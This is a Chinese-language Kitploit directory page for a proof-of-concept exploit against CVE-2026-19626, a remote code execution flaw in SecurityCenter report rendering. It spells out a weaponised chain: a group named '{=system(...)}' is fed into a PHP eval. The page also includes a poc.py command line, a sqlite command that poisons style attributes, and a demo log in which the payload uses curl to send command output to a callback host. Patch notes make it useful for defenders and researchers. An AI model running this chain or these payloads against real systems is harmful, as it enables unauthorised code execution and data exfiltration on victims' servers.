Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2026-19626 — 针对CVE-2026-19626的概念验证漏洞利用,该漏洞是SecurityCenter报告生成中的经过身份验证的远程代码执行漏洞,演示了通过组名注入和PHP eval实现的非管理员链。 | Kitploit
工具/GitHubGitHub/h00die/poc-cve-2026-19626
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubh00die/poc-cve-2026-19626

POC-CVE-2026-19626

针对CVE-2026-19626的概念验证漏洞利用,该漏洞是SecurityCenter报告生成中的经过身份验证的远程代码执行漏洞,演示了通过组名注入和PHP eval实现的非管理员链。

查看仓库
15小时28分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

infoGraphic

CVE-2026-19626 — 报表生成中的 RCE(已认证,非管理员)

状态:已确认 — 纯远程、非管理员、仅 REST(6.7.2-14.el9 实验室,2026-08-21)。

武器化利用链(即 poc.py 所做的工作):

  1. 以任意普通组织用户身份登录
  2. POST /rest/group,使用 name: "{=system('<cmd>')}" — 花括号/引号会被原样接受 (group 控制器没有字符集检查)
  3. POST /rest/reportDefinition — PDF 报表,一个 pieChart 组件, user/sumgroup 查询,labelColumns: groupID
  4. POST /rest/reportDefinition/{id}/launch
  5. 渲染时,substituteParams() 会在 {=...} 求值循环运行之前,先将 占位符替换为组名 — payload 落入格式字符串中, 以 tns 身份触发
{label}
eval("$expr = system('<cmd>');")
  • system() 的返回值会被替换回标签中 — 命令输出渲染到最终报表的饼图图例中(外传通道)
  • 标记 /tmp/pwn_label 正是由这条利用链创建的(无需数据库访问、无需样式写入、无需文件上传)。注意,零成员组仍会生成一个扇区 — sumgroup 聚合将其包含在内。

    此外,通过直接调用和全流水线样式投毒(见下方历史记录)得到确认:eval sink 在随附的 substituteParams() 中处于活跃状态,且被投毒的默认 legendFormat 样式属性会在任何饼图渲染时触发,包括非管理员拥有的报表。

    投递注意事项(为什么纯 REST PoC 会受阻): 报表定义中的内联 style 对象 — PoC 在其中植入 legendFormat/labelFormat — 会原样存储在 xmlDefinition 中,但在渲染时被丢弃:getReport(CONTEXT_RENDER) 从规范化表中重新水合组件,并用 StyleLib::getComponentStyle()(按 styleID 获取)覆盖 $component['style']。样式导入控制器存在(Styles::add,通过 xmlToStyles 解析上传的 XML 文件,且仅限管理员的检查被注释掉),但没有暴露任何到它的路由 — 12 个动词/路径组合(style、styles、style::add、style/import × POST/PUT/PATCH,并带有有效的暂存文件名)均返回错误 10,且 UI 包中没有任何样式端点调用。因此,纯远程投递需要一条 6.7.2 未暴露的样式写入路径;渲染后的利用链是通过样式属性直接演示的。

    漏洞

    /opt/sc/src/lib/ReportChartingLib.php(SecurityCenter 6.8.0 及更早版本):

    • 第 8283 行 — substituteParams() 中的 eval("\$expr = {$exprs[1]};")。饼图图例/标签格式字符串($style['legendFormat'] / $style['labelFormat'],第 4952/4983 行)支持 {=<arithmetic>} 占位符,例如内置默认值 {={sector}+1}。表达式主体是用户提供的报表定义内容 → 任意 PHP。
    • 第 5538 / 5714 行 — eval("\$sectorLabels->setBackground($labelStyle);"),其中 labelStyling 来自图表样式。6.8.0 的防护是 if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — 只拒绝 ;;system('cmd') 能通过。
    • 第 6125 行 — 条形形状规范(如 circleShape(10))上的 if (is_callable($matches['name'])) 门禁。system(id) 能通过该门禁。6.9.0 的修复注释直截了当地指出:"is_callable() 不是一个安全门禁(is_callable("system") === true)"。

    任何拥有报表定义权限的组织用户,在渲染时(generateReport.php / Jobd)都能触达这三处。ReportDefinitions::launch() 拒绝 ROLE_ADMIN — 该漏洞类别明确是非管理员的。

    命令输出会被替换回标签文本中,因此渲染出的报表就是外传通道。

    补丁(6.9.0)

    移除了 eval();{=...} 表达式限制为 /^[0-9.\s()+\-*\/]+/,并由分词器求值;resolveLabelStyleArgs() 将标签样式解析为参数列表;isAllowedBarShapeFunction() 采用仅限数字参数的白名单。

    PoC

    root@kitploit:~
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
    

    组名标签注入(即上面的远程利用链):创建以 payload 命名的组,构建 sumgroup 报表,启动并轮询渲染结果 — 命令输出出现在成品报表的饼图图例中。Payload 约束:不能包含 } 字符({=...} 正则表达式非贪婪匹配到第一个花括号);命令输出借助标签替换传递,因此请从报表中读取,或通过标记/时序进行验证。

    结构剖析(为什么显而易见的利用链会受阻)

    • 定义中的内联 style.legendFormat/labelFormat 会原样存储在 xmlDefinition 中,但在渲染时被丢弃 — 组件通过 styleID 从 Style 表重新水合样式(ReportDefinitionLib 渲染上下文会用 StyleLib::getComponentStyle() 覆盖 $component['style'])。
    • 样式导入控制器存在(Styles::add,管理员检查被注释掉,通过 xmlToStyles 解析上传的 XML),但没有接通任何路由 — 12 个动词/路径组合(包括子资源 /rest/style/{id})均返回错误 10,且 UI 包中没有任何样式端点调用。
    • 标签值路径不需要上述任何条件:{label} 替换先于求值循环,因此任何受攻击者影响的标签(此处为组名;用户资料字段和扫描资产的主机名也是同样的形态)都会携带 payload。

    实验室验证命令

    root@kitploit:~
    # direct sink (on-box)
    /opt/sc/support/bin/php /tmp/t.php   # requires defines+phpchartdir+ReportChartingLib
    
    # style poison (root) + any report launch
    /opt/sc/support/bin/sqlite3 /opt/sc/application.db \
      "UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
       WHERE attribute='legendFormat' AND styleID IN (19,20)"
    # restore: DELETE those attribute rows (falls back to built-in defaults)
    

    演示

    root@kitploit:~
    $ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
    [*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
    [+] authenticated, token 21137241...
    [+] created group carrying payload name (id 9)
    [+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
    [+] report launched — chart render evals the group-name payload
    [*] waiting for output callback ...
    [+] command output:
    uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
    
    下载工具